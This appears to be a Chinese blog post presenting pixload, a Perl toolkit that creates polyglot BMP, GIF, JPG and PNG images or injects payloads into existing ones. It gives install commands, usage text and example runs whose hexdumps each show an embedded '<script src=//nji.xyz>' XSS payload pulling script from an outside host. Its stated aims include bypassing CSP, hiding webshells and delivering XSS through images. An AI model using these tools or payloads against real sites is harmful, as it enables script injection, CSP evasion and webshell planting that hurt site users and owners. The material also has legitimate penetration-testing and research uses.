pixload：图片Payload创建注入工具
- 发表于
- 安全工具
pixload
用于创建/将Payload注入图片的工具集。其用途与安全防范场景例如：绕过CSP防护，用图片隐藏恶意攻击代码，在图片中编码webshell，利用图片进行XSS等等。
pixload安装
需要以下Perl模块：
- GD
- Image::ExifTool
- String::CRC32
|
1 |
git clone https://github.com/chinarulezzz/pixload |
在 Debian-based 的系统上安装以下软件包：
|
1 |
sudo apt install libgd-perl libimage-exiftool-perl libstring-crc32-perl |
在OSX上请参考此解决方法（thnx 2 @iosdec）。
pixload TOOLS
bmp.pl
BMP Payload 创建/注入.
Usage
|
1 2 3 4 |
./bmp.pl [-payload 'STRING'] -output payload.bmp If the output file exists, then the payload will be injected into the existing file. Else the new one will be created. |
Example
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
./bmp.pl -output payload.bmp [>| BMP Payload Creator/Injector |<] https://github.com/chinarulezzz/pixload [>] Generating output file [✔] File saved to: payload.bmp [>] Injecting payload into payload.bmp [✔] Payload was injected successfully payload.bmp: PC bitmap, OS/2 1.x format, 1 x 1 00000000 42 4d 2f 2a 00 00 00 00 00 00 1a 00 00 00 0c 00 |BM/*............| 00000010 00 00 01 00 01 00 01 00 18 00 00 00 ff 00 2a 2f |..............*/| 00000020 3d 31 3b 3c 73 63 72 69 70 74 20 73 72 63 3d 2f |=1;<script src=/| 00000030 2f 6e 6a 69 2e 78 79 7a 3e 3c 2f 73 63 72 69 70 |/nji.xyz></scrip| 00000040 74 3e 3b |t>;| 00000043 |
gif.pl
GIF Payload 创建/注入.
Usage
|
1 2 3 4 |
./gif.pl [-payload 'STRING'] -output payload.gif If the output file exists, then the payload will be injected into the existing file. Else the new one will be generated. |
Example
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
./gif.pl -output payload.gif [>| GIF Payload Creator/Injector |<] https://github.com/chinarulezzz/pixload [>] Generating output file [✔] File saved to: payload.gif [>] Injecting payload into payload.gif [✔] Payload was injected successfully payload.gif: GIF image data, version 87a, 10799 x 32 00000000 47 49 46 38 37 61 2f 2a 20 00 80 00 00 04 02 04 |GIF87a/* .......| 00000010 00 00 00 2c 00 00 00 00 20 00 20 00 00 02 1e 84 |...,.... . .....| 00000020 8f a9 cb ed 0f a3 9c b4 da 8b b3 de bc fb 0f 86 |................| 00000030 e2 48 96 e6 89 a6 ea ca b6 ee 0b 9b 05 00 3b 2a |.H............;*| 00000040 2f 3d 31 3b 3c 73 63 72 69 70 74 20 73 72 63 3d |/=1;<script src=| 00000050 2f 2f 6e 6a 69 2e 78 79 7a 3e 3c 2f 73 63 72 69 |//nji.xyz></scri| 00000060 70 74 3e 3b |pt>;| 00000064 |
jpg.pl
JPG Payload 创建/注入.
Usage
|
1 2 3 4 |
./jpg.pl [-payload 'STRING'] -output payload.jpg If the output file exists, then the payload will be injected into the existing file. Else the new one will be created. |
Example
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
./jpg.pl -output payload.jpg [>| JPEG Payload Creator/Injector |<] https://github.com/chinarulezzz/pixload [>] Generating output file [✔] File saved to: payload.jpg [>] Injecting payload into comment tag [✔] Payload was injected successfully payload.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "<script src=//nji.xyz></script>", baseline, precision 8, 32x32, components 3 00000000 ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 |......JFIF.....`| 00000010 00 60 00 00 ff fe 00 21 3c 73 63 72 69 70 74 20 |.`.....!<script | 00000020 73 72 63 3d 2f 2f 6e 6a 69 2e 78 79 7a 3e 3c 2f |src=//nji.xyz></| 00000030 73 63 72 69 70 74 3e ff db 00 43 00 08 06 06 07 |script>...C.....| 00000040 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b |................| 00000050 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 |.............. $| 00000060 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 |.' ",#..(7),0144| 00000070 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 |4.'9=82<.342...C| 00000080 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 |...........2!.!2| 00000090 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 |2222222222222222| * ... 000002a6 |
png.pl
PNG Payload 创建/注入.
Usage
|
1 2 3 4 |
./png.pl [-payload 'STRING'] -output payload.png If the output file exists, then the payload will be injected into the existing file. Else the new one will be created. |
Example
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
./png.pl -output payload.png [>| PNG Payload Creator/Injector |<] https://github.com/chinarulezzz/pixload [>] Generating output file [✔] File saved to: payload.png [>] Injecting payload into payload.png [+] Chunk size: 13 [+] Chunk type: IHDR [+] CRC: fc18eda3 [+] Chunk size: 9 [+] Chunk type: pHYs [+] CRC: 952b0e1b [+] Chunk size: 25 [+] Chunk type: IDAT [+] CRC: c8a288fe [+] Chunk size: 0 [+] Chunk type: IEND [>] Inject payload to the new chunk: 'pUnk' [✔] Payload was injected successfully payload.png: PNG image data, 32 x 32, 8-bit/color RGB, non-interlaced 00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR| 00000010 00 00 00 20 00 00 00 20 08 02 00 00 00 fc 18 ed |... ... ........| 00000020 a3 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e |.....pHYs.......| 00000030 c4 01 95 2b 0e 1b 00 00 00 19 49 44 41 54 48 89 |...+......IDATH.| 00000040 ed c1 31 01 00 00 00 c2 a0 f5 4f ed 61 0d a0 00 |..1.......O.a...| 00000050 00 00 6e 0c 20 00 01 c8 a2 88 fe 00 00 00 00 49 |..n. ..........I| 00000060 45 4e 44 ae 42 60 82 00 00 00 00 00 00 00 00 00 |END.B`..........| 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 000000c0 00 1f 70 55 6e 6b 3c 73 63 72 69 70 74 20 73 72 |..pUnk<script sr| 000000d0 63 3d 2f 2f 6e 6a 69 2e 78 79 7a 3e 3c 2f 73 63 |c=//nji.xyz></sc| 000000e0 72 69 70 74 3e 9d 11 54 97 00 49 45 4e 44 |ript>..T..IEND| 000000ee |
